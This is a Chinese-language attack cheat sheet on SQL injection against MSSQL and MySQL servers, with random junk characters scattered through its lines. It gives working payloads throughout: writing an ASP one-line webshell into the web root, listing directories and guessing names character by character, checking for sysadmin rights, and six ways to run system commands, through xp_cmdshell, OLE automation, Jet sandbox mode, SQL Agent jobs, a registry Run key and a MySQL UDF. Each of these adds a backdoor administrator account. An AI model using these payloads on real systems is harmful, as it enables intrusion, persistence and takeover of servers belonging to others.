MSSQL语句导出一句话木马
! o5 Q: \2 L0 C0 g0 K* D首先确定网站的WEB路径
9 q2 q" {! e4 x7 O8 A" F6 h8 c;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
+ \; v: j4 ~: P" c
- i2 n' R6 B& R;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
; A" O; w0 U) ?$ l) N//将一句话木马插入表中
$ O9 H/ ?) E* J; @2 E$ z
/ \ x$ ]9 G- o- L' b2 r;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
- g' ?4 P, b( D# F4 `5 t: \% e; H//导出一个ASP文件$ t& X9 |# S5 L g: }/ }
6 R$ Y2 k8 ]9 h. ?! E( t! ^
8 Y1 v- B( `5 h( m) X3 _关于MSSQL列目录
! m \/ g* R; ^) i) j) Z$ ]: l- s;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表& v6 B3 R% Z( y7 o
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
$ q5 F* D6 W; R2 K5 Q
" h- M! U7 g$ \and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
/ g, W* ~* f9 O1 b
0 c) d4 z% }6 y t+ DAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段8 Z* B5 N% v5 C/ z6 o& R
! Y0 p- {3 m5 }* i3 P6 c+ }
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符7 g4 d7 G+ |% R
0 {/ R: W" a0 @$ I
7 M- H- f: D( e( Y% `' G数据库版本和权限查看
/ f: ~# n# F* A- b% n! d* ?5 q% |and 1=(select @@VERSION) //查看详细的数据库信息.4 L9 E9 Z9 _ x, p, \- J4 c# ]
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
' A; y- ^& H. P3 L5 H6 cand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER' o4 O; t; K$ t
! ^- u5 g/ ]$ S; E% ~( ^) a6 e/ O9 C! N2 Y8 Q
1.利用xp_cmdshell执行命令8 R0 X2 Z7 Q7 E- N0 ?
exec master..xp_cmdshell 'net user rfire 123456 /add'
* c, Q% ~+ V( U4 P. B8 f8 w) texec master..xp_cmdshell 'net localgroup administrators rfire /add'
6 u) u! s0 m! x8 ^
5 k& G' ]! A, \6 H恢复xp_cmdshell存储过程8 G* C1 K" \' N; X) D/ \- \- h
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
1 Z) O" V) A# b6 _1 K! V
3 f% L! B& X" z2 d( Y4 \1 @1 u* k* k( Q* T" \6 y- ]
2.利用SP_OAcreate和SP_OAMETHOD执行命令
i+ h( z0 {# Z6 X/ R( V在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
' N2 \' L; e0 E7 Z6 o$ V, `- }DECLARE @shell INT //建立一个@shell实体0 N: V2 l, w" ]+ x# t
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例# j+ I- o+ U& }$ |# B8 Y2 I; ]
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例, v" z! Q* \! f7 W
' P& D2 e! o/ r( I/ S! C' l' H7 Q) ?, t% _9 A, b
3.利用沙盒模式! q" B; l0 O/ ^" P% }
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
+ c, {& G3 H; A) V开启沙盒模式:
- F1 F) c- q4 k3 O: x2 rEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
5 C; N6 L6 |& q4 C* ^9 h& N& O" @9 d# c5 K* F% H4 J
执行命令:
1 j7 E: u0 T- c. V) G' }/ ESelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
! }9 t$ N, u9 e' j
8 c+ J/ v: e& z! s" F3 p$ U7 M# r9 T, g/ K
4.利用SQL代理执行命令
" A; I8 ~; D+ h- ^9 cEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
4 |4 u1 T; A2 S) X9 T/ S
9 u5 h. ]* |8 m5 R3 T) p3 C$ d执行命令:! ?9 C% z* S3 a! y) a, l0 z( ~% W: m
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错$ `: b( |5 a% {$ @1 w: q
exec sp_add_job 'x'
$ q% u3 G, X9 p! T. i9 x5 q3 Aexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
; Q6 V. [$ A$ y, yexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业+ Y4 h( @& c% a- w( f: s
' }, n7 o# `! | z1 I' G6 N8 G" o; r
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项), u! k: \% A* e3 w' X0 t
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'# l! F( p( \+ Z- A; \
/ M& G8 K' w) O: g$ b: u" q# e' N
* D1 }8 a- D* `2 q6.MYSQL的命令执行
8 o% Y! T" h0 T- D9 sMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
# p7 U- X9 X' j9 G' x* G" i首先要在su.php下导出c:\windows\udf.dll
9 S& J$ u1 r$ _, j导出后执行创建自定义函数命令:
: W- P$ p# m8 p! j% CCreate Function cmdshell returns string soname 'udf.dll'* |4 }0 G( e0 n; `+ K9 f7 ~; R4 t6 d0 m
执行命令. `5 }) R& i, Z; v4 C
select cmdshell('net user rfire 123456 /add')
( e2 l; W3 i3 O( R; ?2 d; g执行后删除函数 drop function cmdshell' `5 z4 f) f4 I
|